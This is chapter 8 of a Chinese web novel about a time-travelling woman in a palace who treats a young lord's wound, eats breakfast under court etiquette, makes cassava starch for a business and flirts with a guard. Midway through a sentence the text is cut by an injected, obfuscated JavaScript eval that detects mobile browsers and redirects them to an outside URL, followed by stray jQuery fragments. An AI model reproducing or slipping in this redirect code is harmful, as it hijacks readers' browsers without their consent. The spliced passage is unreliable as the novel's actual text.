8. 未经他苦莫劝他善

作品:《我靠杨枝甘露发家致富

    “夫人可是习过医术?”


    程扬知也不过是用这房中本就备好的药箱里现有的药和工具,止了血上了药包了扎,还顺手给他打了个蝴蝶结。


    “懂点皮毛。”她把药瓶收回木箱里,交由玉簪把它放回原处。


    金钗趁这空档,已然更换好新被褥,站在榻边等待。


    “我瞧你今日把木薯磨成浆,可是要做吃食?”七少主打量着她系好的蝴蝶结,很是新奇。


    “嗯。”程扬知点点头,正蹙起眉想问他是何时瞧见的,白日里分明未见他身影。


    七少主似是要赖在这房里不走,仍在挑话:“略懂医术,还会下厨……”


    程扬知却懒得与他攀谈,直接打断:“我会的多了去了,但唯独不会杀人。”


    她咬牙切齿吐出这句话,说完又怕那面具下的人怒然伤她,“落荒而逃”跑到床榻上,示意金钗帮她将帷幔放下。


    “我先睡了,七少主晚安。”她不知古人是何说辞,干脆用现代人的方式委婉下“逐客令”。


    虽是这么说,待金钗和玉簪吹了灯告退后,她又在被窝里睁开了眼。


    四下昏黑,帷幔连同满月的光亮一齐遮挡,以前陆晓茵知道她睡眠质量太差,嘴上嘲笑她是“见光死”,实则麻溜儿地给她换了遮光窗帘。


    她如今躺在这深宫内院,也不知距离她生活的年代是以千或百计数的光阴岁月,心里五味杂陈。


    如若一开始,她便知这不是儿戏,或许还能端正心态,好好将她想靠杨枝甘露发家致富的商道发展起来。


    可她亲眼见到活生生的人就这么被刺死,认识到这宫墙确有吃人的本事,你叫她如何不提心吊胆。


    但若你问她是否因此怨恨七少主,那也谈不上,况且他亦是受害者,在他的时代用他的方法保全自身,杀人未尝不可。


    时代不同,思想有异。


    未经他人苦,莫劝他人善。


    这些道理程扬知都懂,她只是一时之间不愿接受罢了。


    失眠又扰她清梦,这房里的熏香倒挺令人舒心,有种莫名的熟悉感,却怎么也想不起来是何气息。


    *


    窗外鸟鸣代替了她十年如一日的手机闹铃,唤她晨醒,金钗和玉簪早早候在门外,端着盤匜等她起榻盥洗。


    “郡主,昨夜可有好梦?”玉簪拿着巾帕帮她把手擦干。


    程扬知轻轻摇头,眼下不做噩梦对她来说就是好梦。


    “郡主,您想在房里用早膳还是去……”金钗还未问完,程扬知便抬手覆在她腕上。


    “以后,别叫我郡主了。”她语气有些无力,“叫我名字就好。”


    “这……”玉簪与金钗对视一眼,“这不合乎礼节呀郡主,您若是不希望我们这样叫您,我们也可以同院里其他下人一样,叫您侧少夫人。”


    “不要。”程扬知才不想当什么侧少夫人,“就叫名字,程、扬、知。”


    “可,可是……”金钗连忙放下手里的盤匜,“郡主您是替婚,这宫里的人都当您是永宁郡主,我们若是直呼您名讳,恐遭人疑。”


    对哦,她现在真成了替婚冤种,拿钱办事天经地义。那看来一时半会儿还不能逃出去,得想个法子让七少主甘愿送她走。


    “那,就叫我姐姐吧!”程扬知大手一挥,这俩丫头定是比她年幼,叫姐姐最合适不过。


    可她们身份侍女,怎敢如此无礼:“这,这不……”


    “别这这这、不不不、可可可的了,不是说我是你们主子吗?主子的话都不听了?”程扬知故意威胁,脸上分明带笑,“好啦不为难你们,在我房里叫姐姐,当着别人的面还是按礼数来吧。”


    好在21世纪摒弃了这些糟粕,程扬知在心中感叹。


    “好的,姐姐。”金钗和玉簪也不好再推脱。


    程扬知想起被她打断的话题:“方才你问我,早膳在何处用?”


    “啊,胡总管在我和玉簪来之前知会我们,七少主说若是您不愿与他一同用膳,就让马尚食将早膳送到房里来。”金钗回忆起一个时辰前的事。


    玉簪在一旁小声提醒:“胡总管不是说别让姐姐知道是七少主的主意吗?”


    “呃,我两只耳朵都听到了。”程扬知尴尬一笑,但她不是什么不体面之人,于是站起来伸了个懒腰,作势要往屋外走,“走吧,去用早膳!”


    方才踏出门的气势有多盛,现在走进屋的心情就有多忐忑。


    也没人告诉她用膳厅是所有下人都在一旁看着他们吃饭的呀!


    “他,他们不吃吗?”程扬知和七少主之间隔着一整张桌子,她提问前还刻意清清嗓子。


    七少主还未答话,胡硕便上前凑到程扬知耳边:“侧少夫人,食不言寝不语。”


    “啊……”她明白这宫里规矩多,用手轻拍自己双唇,以示“闭嘴”。


    七少主见状抬手冲胡硕挥了挥,示意他退下:“无碍,你无须守那些规矩,他们得等我们用完膳。”


    “喔。”程扬知紧抿双唇,眼珠子提溜一圈,腹诽这疯瘸子的脾气真是难以捉摸。


    她从未觉得一顿饭如此漫长,眼神不住地往两侧站定的下人身上瞟,这可口佳肴都味同嚼蜡。


    “院里所有人都在这儿了吗?”程扬知看到后厨掌勺的马腊堂也在,不免疑问。


    七少主并未正面回答。


    “你那个侍卫呢?”哪怕接受了穿越的事实,程扬知对凌延川的心思依旧不减。


    再苦再累也阻挡不了她的捕鱼大业。


    风浪越大鱼越贵!


    眼下那位美如卷中人的侍卫是她这穿越生活里难得的调剂品,可得牢牢钓上钩。


    “问他作甚?”七少主语气低沉,站于用膳厅两侧的下人皆面露疑惑,“在外巡查呢,夫人有事?”


    “喔,无事。”她夹起一块红烧肉放入碗中,用筷子不停戳着那红润晶莹的皮,嘴里小声嘟囔,“这么辛苦。”


    七少主听力甚佳,有意捉弄她:“夫人可是心疼?”


    “啊?”程扬知矢口否认,倒不是怕落了把柄在七少主手上,而是——


    ——心疼男人就是女人不幸的开始。


    她的十三字箴言。


    碗里饭已见底,她终于想起那罐被她搁置在后厨的木薯浆,恨不得当即敲自己脑门一棒槌。


    要是变质就功亏一篑了,误了何事都不能误正事。


    “少主,我吃饱了,可否先行……”她此话一出,两侧下人皆朝她投来诧异目光,想来是不能先少主一步离席,她及时住嘴。


    七少主当真不在意,头也不抬:“去吧。”


    “谢谢少主!”她难得在他面前乐出笑齿,蹦跳着离开用膳厅。


    程扬知是一个爱幻想穿越的坚定唯物主义者,现如今她勉强接受了自己幻想成真的事实,但她依旧主张物质第一性。


    天大地大,只要天没塌地未陷,赚钱就是第一要义!


    一想到要赚钱,她眼睛都亮了七分,搬起陶罐时顿感自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162042|150417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己力大无穷。


    罐中淀粉原浆经过静置已出现分层,程扬知滤出淀粉乳和纤维,换了一个新的容器装淀粉乳,纤维则用纱布包起反复洗涤以回收其上残留的淀粉。


    这样的工序繁琐又无趣,她从前在家做手作古着饰品时还要放着当下热播电视剧当背景音,如今只能自己哼歌解闷。


    在她把手里这纱布包裹的纤维三次洗涤并哼着当下短视频流行曲的副歌时,凌延川又神不知鬼不觉地出现在她身后。


    “为~何~会~两~败~俱——”程扬知觉得自己迟早被吓出心脏病,“——伤昂昂昂!”


    凌延川梳马尾束发,又是一身黑衣,想来许是侍卫袍服,与昨日不同的是他佩戴了一副无指皮质黑手套。


    还挺帅的。程扬知倒是不好奇他为何突然戴手套,人靠衣装马靠鞍,他穿得帅一点也是养了她的眼。


    “你知道你如果在现代最适合当什么吗?”她一想到这两天她一直把人当成“队友玩家”就自觉好笑。


    “什么?”凌延川压根没听懂她的话。


    她也无所谓,自顾自玩笑:“班主任,因为你走路没声儿。”


    他虽不明前半句是何意,却也乐意接过话茬:“当侍卫若是步履过重,暴露目标,要如何护主?”


    程扬知轻皱起眉,怎么他也跟七少主似的,顶起嘴来一个比一个厉害。


    “说起来,昨夜你在何处?”她想到七少主的腿疾,推断那刺客受的非致命伤定是他人所为。


    凌延川倒是坦诚:“那人确为我所伤,只是……”


    “只是什么?”程扬知以为他想辩白自己是奉命行事,伤人并非他所愿。


    “夫人昨夜贸然上前,实属莽撞,若是危险尚在,夫人如何自保?”他叹声的语气里分明没有责怪。


    程扬知明显没想到他是这副反应,歪着脑袋浅浅笑道:“你担心我啊?”


    他没有否认,深吸一气,对上她满眼笑意:“这是我的本分。”


    程扬知没有听出他话里的第二层含义,却也被哄得高兴,笑着把手里的纱布摊开,假装忙碌。


    “什么本分啊?你不是七少主的贴身侍卫吗?干你们这行的,主子应该只有一个吧?”她故意这般戏弄,不过是想探他真心。


    凌延川沉默不语,反而正中她下怀,权当是有口难言。


    古有孙子兵法,今有程扬知钓鱼宝典。


    这下十拿七稳了。她在心里偷着乐。


    “少主从不曾与人交心,这院里就是胡总管,也无法得他全然信任。”


    凌延川突兀开口,也不知为何就帮那疯瘸子说起了话,也许是怕程扬知误解加深。


    “那你呢?少主也不信你吗?”程扬知若有所思,自己虽带着能证明永宁郡主身份的玉佩,可确也是名冒牌货。


    且不说她假郡主替嫁的事未被揭发,就算她真从梁州远道而来,对七少主来说也是一介陌生女子。


    七少主生活在这危机四伏、人心惶惶的深宫院内,生母遭人毒手,自己频繁遇刺,若她立于这少主之位,怕也是草木皆兵、杯弓蛇影。


    身边虽有一名身手稳健的贴身侍卫,却也一定程度上能对他造成威胁,他若是无法信任这侍卫,倒也合乎情理。


    凌延川没有回答。


    程扬知错以为是默认,不知为何又萌生出莫名的“同病相怜”之感,于是拿起巾帕擦拭干净手指,笑着转向凌延川,语气里不仅是安慰。


    “没关系,我信你。”